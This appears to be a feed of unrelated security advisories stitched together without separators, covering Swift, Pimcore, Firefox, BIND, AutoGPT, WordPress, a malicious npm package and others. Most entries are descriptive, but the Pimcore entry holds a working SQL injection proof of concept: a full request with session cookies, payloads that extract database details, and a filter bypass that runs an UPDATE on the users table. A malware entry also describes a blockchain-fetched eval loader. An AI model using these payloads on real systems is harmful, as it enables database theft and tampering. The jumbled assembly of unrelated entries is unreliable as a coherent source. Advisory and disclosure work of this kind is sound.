In OpenStack Swift before 2.36.2 and 2.37.2, s3api middleware enters an infinite loop when processing a truncated aws-chunked PUT request body. The StreamingInput class repeatedly appends an empty buffer and re-reads, causing the proxy-server worker handling the request to become permanently unresponsive with increasing CPU and memory consumption. An authenticated attacker can systematically exhaust all proxy-server workers, resulting in denial of service. The defect was introduced in Swift 2.36.0.
### Summary
The columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.
### Affected scope
bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php
CustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()
### PoC
* Download and install the version Pimcore <=12.3.3 (latest)
* Login using Admin account or any account that has reports_config permission
* Navigate to custom reports
* Capture the request using burp suite and perform SQLi attack as the following
1. Get Database username
```
POST /admin/bundle/customreports/custom-report/column-config HTTP/1.1
Host: localhost
Content-Length: 310
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
X-pimcore-extjs-version-minor: 0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
X-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4
X-pimcore-extjs-version-major: 7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/
Accept-Encoding: gzip, deflate, br
Cookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM
Connection: keep-alive
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```
2. Get Database name
```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(select%2bcurrent_setting(%24%24is_superuser%24%24))%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```
3. Get Tables names
__Note__: Update the limit parameter to iterate around the tables queries like limit 0,1 limit 1,1 , limit 2,1 ..etc
```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema%3ddatabase()%20LIMIT%200%2c1)%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```
4. Bypass the implemented Regex and perform SQL updat eto for exmaple update the admin username
```
configuration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%22*%22%2c%22from%22%3a%22users%22%2c%22where%22%3a%22id%3d1)%2f**%2fOR%2f**%2f1%3d1%3b%2f**%2fUPDATE%2f**%2fusers%2f**%2fSET%2f**%2fname%3d'admin'%2f**%2fWHERE%2f**%2fname%3d'admin2'%3b--%20-%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes
```
### Impact
By exploiting this vulneability any user with custom-report access could manipuate and crawl the database information and also bypass the application filters to Update,insert or delete database tables, which impact on the application confidentiality ,intergrity and service availability
This update for MozillaFirefox fixes the following issues
- Update to Firefox Extended Support Release 140.11.0 ESR MFSA 2026-48 (bsc#1265212).
MFSA 2026-48:
- CVE-2026-8388: Incorrect boundary conditions in the JavaScript Engine: JIT component.
- CVE-2026-8391: Other issue in the JavaScript Engine component.
- CVE-2026-8401: Sandbox escape in the Profile Backup component.
- CVE-2026-8946: Incorrect boundary conditions in the Audio/Video: Web Codecs component.
- CVE-2026-8947: Use-after-free in the DOM: Bindings (WebIDL) component.
- CVE-2026-8949: Integer overflow in the Widget: Win32 component.
- CVE-2026-8950: Same-origin policy bypass in the Networking: HTTP component.
- CVE-2026-8953: Sandbox escape due to use-after-free in the Disability Access APIs component.
- CVE-2026-8954: Incorrect boundary conditions, integer overflow in the Audio/Video component.
- CVE-2026-8955: Privilege escalation in the DOM: Workers component.
- CVE-2026-8956: Integer overflow in the Networking: JAR component.
- CVE-2026-8957: Privilege escalation in the Enterprise Policies component.
- CVE-2026-8958: Information disclosure, sandbox escape in the Security: Process Sandboxing component.
- CVE-2026-8959: Sandbox escape due to incorrect boundary conditions in the Widget: Win32 component.
- CVE-2026-8961: Spoofing issue in the Form Autofill component.
- CVE-2026-8962: Mitigation bypass in the DOM: Security component.
- CVE-2026-8968: Denial-of-service due to invalid pointer in the Audio/Video: Web Codecs component.
- CVE-2026-8970: Privilege escalation in the Security component.
- CVE-2026-8974: Memory safety bugs fixed in Firefox ESR 140.11 and Firefox 151.
- CVE-2026-8975: Memory safety bugs fixed in Firefox ESR 115.36, Firefox ESR 140.11 and Firefox 151.
CVE-2026-24191 is a high-severity vulnerability in the NVIDIA Display Driver for Windows affecting GeForce products prior to version 596.36. It is a time-of-check time-of-use (TOCTOU) race condition that could allow an attacker to cause denial of service, escalate privileges, disclose information, tamper with data, or execute code. The vulnerability requires local access with low privileges and high attack complexity. No official patch or remediation guidance has been provided yet by NVIDIA. There are no known exploits in the wild at this time.
An unbounded resend loop vulnerability exists in the BIND 9 resolver state machine during bad-server handling, enabling a remote unauthenticated attacker to cause severe resource exhaustion by sending queries that trigger specific retry conditions.
This issue affects BIND 9 versions 9.18.36 through 9.18.48, 9.20.8 through 9.20.22, 9.21.7 through 9.21.21, 9.18.36-S1 through 9.18.48-S1, and 9.20.9-S1 through 9.20.22-S1.
Memory safety bugs present in Thunderbird 140.10 and Thunderbird 150. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
Sandbox escape due to use-after-free in the Disability Access APIs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
Use-after-free in the DOM: Bindings (WebIDL) component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 151, Firefox ESR 115.36, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
AutoGPT versions 0.6.36 through 0.6.50 contain a missing authorization vulnerability that allows authenticated users to hijack other users' sessions. The PATCH /sessions/{session_id}/assign-user endpoint does not verify session ownership, enabling attackers who know another user's session_id to reassign that session to themselves. This lets the attacker read messages in the hijacked session and lock out the legitimate user. The vulnerability is fixed in version 0.6.51.
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 3.28.36. This is due to insufficient authorization checks in the role field update mechanism combined with overly permissive capabilities for the admin_form post type. The admin_form custom post type uses 'capability_type' => 'page', which grants editors the ability to create and edit forms. When an editor creates an edit_user form, they can manipulate the form configuration to include 'administrator' in the role_options array by directly submitting POST data to wp-admin/post.php, bypassing the UI restrictions in feadmin_get_user_roles(). When the form is subsequently submitted, the pre_update_value() function in class-role.php only validates that the submitted role exists in the form's role_options array (lines 107-110), but fails to verify that the current user has permission to assign that specific role. This makes it possible for unauthenticated attackers to first register as editors (via a public new_user form), then create an edit_user form with administrator in the allowed roles, and finally use that form to escalate their own privileges to administrator.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (cb3e0cb5c95475ce69c3672be6acfb9283bc6e29a1d7ba7452c922e7dc96a966)
On require()/import, index.js runs an IIFE that POSTs a getAccountInfo RPC call to https://api.devnet.solana.com for Solana account 4WF8QCFEnVD7BLs3QAVe2SjxRZ4n3EboCsdhj363VAqZ, base64-decodes the returned account data, reads a length prefix at offset 32, extracts the payload bytes at offset 36, and passes the resulting UTF-8 source to `new Function('require','module','exports', src)` — executing arbitrary JavaScript with the full privileges of the importing Node.js process. The payload is mutable (the attacker can rewrite the on-chain account data at any time), unpinned, not hash- or signature-verified, and delivered from infrastructure the attacker controls. The use of a public blockchain RPC endpoint as a C2 channel is designed to evade simple domain/IP blocking while remaining fully attacker-rewritable. The package name masquerades as a BigInt/filesystem utility; there is no legitimate reason for such a library to fetch and eval remote code on load.
## Source: ghsa-malware (b67cb388cf855ef52b8e274269861017bb7ce33349b187cd41ba2ff553ecb320)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
MagicMirror² is an open source modular smart mirror platform. Prior to 2.36.0, an unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets. This vulnerability is fixed in 2.36.0.
Other issue in the JavaScript Engine component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.
CVE-2024-27355 is a high-severity vulnerability in phpseclib affecting versions >=0.1.1 <1.0.23, >=2.0.0 <2.0.47, and >=3.0.0 <3.0.36. It involves insufficient guardrails on OID length when parsing untrusted ASN.1 files such as X.509 certificates and RSA PKCS8 keys. This can lead to denial of service conditions. A patch is available in versions 1.0.23, 2.0.47, and 3.0.36.
Marko is a declarative, HTML-based language for building web apps. Prior to marko version 5.38.36 and prior to @marko/runtime-tags 6.0.164, when dynamic text is interpolated into a <script> or <style> tag the Marko runtime failed to prevent tag breakout when the closing tag used non-lowercase casing. An attacker able to place input inside a <script> or <style> block could break out of the tag with </SCRIPT>, </Style>, etc.and inject arbitrary HTML/JavaScript, resulting in cross-site scripting. This issue has been patched in marko version 5.38.36 and @marko/runtime-tags 6.0.164.
A vulnerability in MAXHUB Pivot client application versions prior to v1.36.2 allows attackers to obtain encrypted tenant email addresses and related metadata. The presence of a hardcoded AES key enables decryption of this data, exposing tenant email addresses in cleartext. Additionally, attackers may cause a denial-of-service by enrolling multiple unauthorized devices into a tenant via MQTT, disrupting tenant operations.
Multiple vulnerabilities have been identified in the Go programming language components used in Red Hat OpenShift Service Mesh and Red Hat Hardened Images. These include denial of service issues in Go net/mail, HTTP/2, and net packages. Red Hat has released security advisories and updates addressing these issues, with fixed versions available. The vulnerabilities affect versions prior to 5.36.00.16. No public exploits or in-the-wild exploitation have been reported.